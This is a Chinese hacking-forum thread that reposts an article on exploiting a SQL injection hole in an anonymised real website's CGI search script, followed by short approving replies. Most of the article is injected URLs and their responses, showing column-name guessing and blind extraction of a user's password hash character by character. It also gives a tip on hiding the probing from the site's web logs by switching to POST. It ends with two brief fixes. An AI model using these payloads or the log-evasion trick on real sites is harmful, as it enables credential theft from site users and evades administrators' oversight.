>> 欢迎您, 傲气雄鹰: 重登陆 | 退出 | 注册 | 资料 | 设置 | 排行 | 新贴 | 精华 | 管理 | 帮助 首页

  小榕软件实验室
  刀光雪影
  [转帖]酷这个才叫酷 某站点CGI漏洞的分析与...
发表文章 发表涂鸦
  回复数:11  点击数:606 将此页发给您的朋友        
作者 主题: [转帖]酷这个才叫酷 某站点CGI漏洞的分析与利用 回复 | 收藏 | 打印 | 篇末
痞菜帅哥哦
级别:管理员
威望:9
经验:18
货币:99999
体力:100
来源:不知道
总发帖数:2602
注册日期:2001-04-13
查看 邮件 主页 QQ 消息 引用 复制 下载 

某站点CGI漏洞的分析与利用

作者:周星星 < zhouxx@hotmail.com >
主页:http://www.china9.net/
日期:2001-09-10

注:本文原发于绿盟科技论坛,原名为"关于我和刘思平发现的xx(www.xxxxxxx.com)的
cgi漏洞"。

(注意:出于对mark的尊重,我把一些信息用xx代替了。在公布此文章的时候,xx的cgi漏
洞可能已经修正,所以文章中的内容无法证实,希望看的人主要看看原理,在自己的程序
中多注意)

一 原理

sqlhacking,我想大家都知道,就是web应用程序如果不对用户提交的数据做过滤,
直接应用到sql语句中提交给后台数据库,这样很容易被不良用心的人利用,提交特殊的
参数,构造sql语句,获得数据库中的敏感信息,包括:数据库用户的帐号、口令、安全资料、
甚至于web维护人员的口令,或者提升权限,直接获得操作系统system权限(mssql).

对于www.xxxxxxx.com有多处存在此类问题,我找到一处比较有典型代表,如下链接:

http://search.xxxxxxx.com/cgi-bin/search1?userid=12345
^^^^^
这个链接是得到用户的资料,12345就是要查询的xx的ID,也就是数据库里的userid字段
如果我们提交这个链接,大家看看会有什么结果

http://search.xxxxxxx.com/cgi-bin/search1?userid=12345 and
password='1234'

~~~~~~~~~~~~~~~~~~~~~~~~~
请看cgi程序use_show_info返回什么

“错误: Fail To Execute SQL: Unknown column 'password' in 'where clause' ”

这种调试信息本该只用到测试的时候显示给程序员调试用的,但目前清清楚楚显示给我们.
cgi程序把我们提交的内容12345 and password='1234'全部加到sql语句中送给了mysql操作,
当然出错了,因为操作的表里没有password这个字段。我猜想这条sql语句可能是这样的:
select xxx,xxx,xxx,xxx from usertable where userid= %s
等加入我们提交的内容后,真正送给mysql的sql语句就变成:

select xxx,xxx,xxx,xxx from usertable where userid= 12345 and password='1234'
^^^^^^^^^^^^^^^^^^^^^^^^^^

看,当然会出错。但我们如何利用这点web应用程序的漏洞呢?

二 如何得到xx用户口令加密后的字段长度

如果我们知道存放口令的字段名后,这条sql语句就决不会显示上面的出错信息,最多显示
数据库找不到数据,和数据库出错等等(请注意:我们一定要思考为什么web应用程序会给我
们这样不同的出错信息,在后面我们都要通过出错信息的不同来判断我们的操作是否正确)

到了此处我试了多个链接,如:
12345 and password='1234'
12345 and passwd='1234'
12345 and pass='1234'
12345 and PASS='1234'
.....
都显示没有次字段名的错误,所以仍然没有猜到正确的口令数据库中的字段名。
但我绝对确信口令的字段一定同xx号字段(userid)在一个数据表(usertable)里,因为
没有人会把用户id和口令passwd放到不同的表里,这些是需要经常检索的数据。

在我无法继续的时候,刘思平给了我另外一个www.xxxxxxx.com的很致命的cgi漏洞
这个漏洞是cgi居然没有执行就被直接下载到客户端,里面清清楚楚显示了数据库里的众
多重要的信息,如数据表名,字段名,sql语句等等。通过这个问题,我找到了我感兴趣
的东西用户信息表名usertable,xx号码字段名userid, xx口令字段名passwordfield,这
就足够了:)

好,现在我们提交这个链接:

http://search.xxxxxxx.com/cgi-bin/search1?userid=12345 and
passwordfield='1234'

~~~~~~~~~~~~~~~~~~~~~~~~
真好,不再显示找不到字段名的出错信息,而是显示
“错误: 数据库错误 ” 这样的出错信息。

“错误: 数据库错误 ” 这条信息我考虑可能是cgi在发现数据库没有检索到任何
数据后显示的出错信息,当然也可能有其它原因,我们也无法知道这个cgi程序到底是如
何工作的。

但总可以知道,我们确实已经可以接触到passwordfield这个字段了。

那我们看看这个字段有多长,用如下几个链接

1) http://search.xxxxxxx.com/cgi-bin/search1?userid=12345 and
length(passwordfield)<32

~~~~~~~~~~~~~~~~~~~~~~~~~~~
2) http://search.xxxxxxx.com/cgi-bin/search1?userid=12345 and
length(passwordfield)=32

~~~~~~~~~~~~~~~~~~~~~~~~~~~
3) http://search.xxxxxxx.com/cgi-bin/search1?userid=12345 and
length(passwordfield)>32

~~~~~~~~~~~~~~~~~~~~~~~~~~~
这3个链接1,3都返回“错误: 数据库错误 ” 错误信息,只有2返回了真正真确的12345
的用户资料,可见只有2构造的sql语句返回了一条数据,其它都因为 and length(passwo
rdfield) 的条件不为真而没有返回数据。

所以可以确认字段passwordfield的长度是32位。

这些都是我们根具我们的输入得到的结果而猜测cgi的工作流程,虽说是猜测,但
是有依据的。

显然xx的口令再存放到数据库前已经经过加密。

三 如何得到xx口令passwordfield的加密串

自然利用以上的链接就够用了。如下:

http://search.xxxxxxx.com/cgi-bin/search1?userid=12345 and
passwordfield>='f' (出错)
http://search.xxxxxxx.com/cgi-bin/search1?userid=12345 and
passwordfield>='e' (正确) 得到1位 e

http://search.xxxxxxx.com/cgi-bin/search1?userid=12345 and
passwordfield>='e2' (出错)
http://search.xxxxxxx.com/cgi-bin/search1?userid=12345 and
passwordfield>='e1' (正确) 得到2位 e1

http://search.xxxxxxx.com/cgi-bin/search1?userid=12345 and
passwordfield>='e18' (出错)
http://search.xxxxxxx.com/cgi-bin/search1?userid=12345 and
passwordfield>='e17' (正确) 得到3位 e17

http://search.xxxxxxx.com/cgi-bin/search1?userid=12345 and
passwordfield>='e178' (出错)
http://search.xxxxxxx.com/cgi-bin/search1?userid=12345 and
passwordfield>='e177' (正确) 得到4位 e177

http://search.xxxxxxx.com/cgi-bin/search1?userid=12345 and
passwordfield>='e177b' (出错)
http://search.xxxxxxx.com/cgi-bin/search1?userid=12345 and
passwordfield>='e177a' (正确) 得到5位 e177a

http://search.xxxxxxx.com/cgi-bin/search1?userid=12345 and
passwordfield>='e177a3' (出错)
http://search.xxxxxxx.com/cgi-bin/search1?userid=12345 and
passwordfield>='e177a2' (正确) 得到6位 e177a2
.....
.....
.....
http://search.xxxxxxx.com/cgi-bin/search1?userid=12345 and
passwordfield>='e177a262d03c87a6e76' (出错)
http://search.xxxxxxx.com/cgi-bin/search1?userid=12345 and
passwordfield>='e177a262d03c87a6e75' (正确) 得到19位“e177a262d03c87a6e75”

就这样最后把32位的字段内容都得到了。
似乎有点累,我们可以写一个程序代我们测试。

而且,还有个技巧:为了防止网管员检查weblog的时候看到这么多奇怪的输入,我
们可以将get的参数改成post参数,这样weblog里面就会显示
http://search.xxxxxxx.com/cgi-bin/search1
method post的记录,不会记录我们提交的测试内容,这样他老人家也不会轻易发现


四 尾声

数据库mysql对于跨表的查询支持的不好,如果是oracle,db2,mssql等数据库就不用
如此费时,跨表查询直接得到申请密码保护的数据内容就够了,我想不至于他们对这些内
容也做了加密。

写这篇文章主要是提醒web开发人员需要注意的一些安全问题,当然解决方法很简单:

(1)过滤应用程序中用户提交数据的特殊字符
(2)数据库用户权限的管理和分配(如:读权限,读敏感表权限,写权限,写敏感
表权限等等)
----------------------------------------------------------

哈哈

编辑 删除 发表时间发表于 2002-08-02.15:46:37   MSIE 5.01 Windows 2000IP: 已记录
林凡帅哥哦
级别:圣骑士
威望:0
经验:4
货币:738
体力:87.8
来源:广东
总发帖数:190
注册日期:2002-06-12
查看 邮件 主页 QQ 消息 引用 复制 下载 

厉害!!!

编辑 删除 发表时间发表于 2002-08-07.23:15:17   MSIE 5.0 Windows 98IP: 已记录
永远的FLASH帅哥哦
级别:刀光雪影版主
威望:3
经验:1
货币:5852
体力:100
来源:江苏
总发帖数:2264
注册日期:2002-02-11
查看 邮件 主页 QQ 消息 引用 复制 下载 

好东西!
----------------------------------------------------------
H4技术组:http://www.h4h4.com

编辑 删除 发表时间发表于 2002-08-08.00:06:38   MSIE 6.0 Windows 2000IP: 已记录
豆子胡帅哥哦
级别:老 站 友
威望:0
经验:0
货币:526
体力:56.1
来源:四川
总发帖数:216
注册日期:2002-02-06
查看 邮件 主页 QQ 消息 引用 复制 下载 

9494。

编辑 删除 发表时间发表于 2002-08-08.00:56:37   MSIE 6.0 Windows 98IP: 已记录
lei200帅哥哦
级别:长 老 级
威望:0
经验:1
货币:1047
体力:49.9
来源:北京
总发帖数:529
注册日期:2002-04-02
查看 邮件 主页 QQ 消息 引用 复制 下载 

9494
----------------------------------------------------------
我到此地探讨技术

编辑 删除 发表时间发表于 2002-08-08.12:39:11   MSIE 5.0 Windows 98IP: 已记录
cowherd帅哥哦
级别:中级站友
威望:0
经验:0
货币:521
体力:47.7
来源:UK
总发帖数:89
注册日期:2002-07-27
查看 邮件 主页 QQ 消息 引用 复制 下载 

应该收藏!

编辑 删除 发表时间发表于 2002-09-04.05:55:24   MSIE 6.0 Windows 2000IP: 已记录
风子帅哥哦
级别:精灵王
威望:0
经验:15
货币:2048
体力:99
来源:218.5.26.*
总发帖数:673
注册日期:2001-05-26
查看 邮件 主页 QQ 消息 引用 复制 下载 

所以,现在很多地方是只允许版主以上用搜索!
----------------------------------------------------------
世界最强的站点http://cschina.org
最安全的论坛http://218.98.0.204

编辑 删除 发表时间发表于 2002-09-04.07:28:51   MSIE 6.0 Windows 98IP: 已记录
我很笨美女哟
级别:本站元老
威望:3
经验:0
货币:5165
体力:100
来源:211.98.176.*
总发帖数:1562
注册日期:2002-08-21
查看 邮件 主页 QQ 消息 引用 复制 下载 

呵呵,收藏了,谢谢啊。
----------------------------------------------------------
对当初的选择我无悔,既然选择了前方,我就只能风雨兼程,坚如磐石。回头望,来时路,丝雨霏霏,忆往昔,迷惘岁月。待今朝,显豪情,晴空万里看我笑傲江湖。

我的能力有限,不回贴吧,心里还难受,供大家参考吧

编辑 删除 发表时间发表于 2002-09-04.07:43:33   MSIE 6.0 Windows 2000IP: 已记录
xlx777帅哥哦
级别:老 站 友
威望:0
经验:0
货币:1140
体力:38.6
来源:上海
总发帖数:377
注册日期:2002-05-07
查看 邮件 主页 QQ 消息 引用 复制 下载 

very good

编辑 删除 发表时间发表于 2002-09-04.08:07:25   MSIE 6.0 Windows 2000IP: 已记录
lei200帅哥哦
级别:长 老 级
威望:0
经验:1
货币:1047
体力:49.9
来源:北京
总发帖数:529
注册日期:2002-04-02
查看 邮件 主页 QQ 消息 引用 复制 下载 

很早就有了,没什么意思
----------------------------------------------------------
我到此地探讨技术

编辑 删除 发表时间发表于 2002-09-04.09:26:57   MSIE 5.0 Windows 98IP: 已记录
eboy帅哥哦
级别:骑士
威望:0
经验:5
货币:437
体力:65.4
来源:广东
总发帖数:91
注册日期:2002-03-29
查看 邮件 主页 QQ 消息 引用 复制 下载 

9494
----------------------------------------------------------


编辑 删除 发表时间发表于 2002-09-04.11:17:02   MSIE 5.5 Windows 2000IP: 已记录
一个好人帅哥哦
级别:中级站友
威望:0
经验:0
货币:249
体力:35.8
来源:210.12.200.*
总发帖数:38
注册日期:2002-08-26
查看 邮件 主页 QQ 消息 引用 复制 下载 

这也设精?
夸张

编辑 删除 发表时间发表于 2002-09-04.11:24:23   MSIE 6.0 Windows 2000IP: 已记录
选择回复        
 快速回复主题: >>>高级模式
  用户名: 没有注册? 密码: 忘记密码?
记住密码
HTML语法
禁止IDB代码
禁止表情字符

[按 Ctrl+Enter 快捷键可直接提交帖子]
 投票评分: 共 0 票  
所有时间均为: 北京时间 ↑TOP 
关闭主题 拉前主题 移动主题 主题置顶 取消置顶 总固顶主题 取消总固顶 加入精华 移出精华 删除主题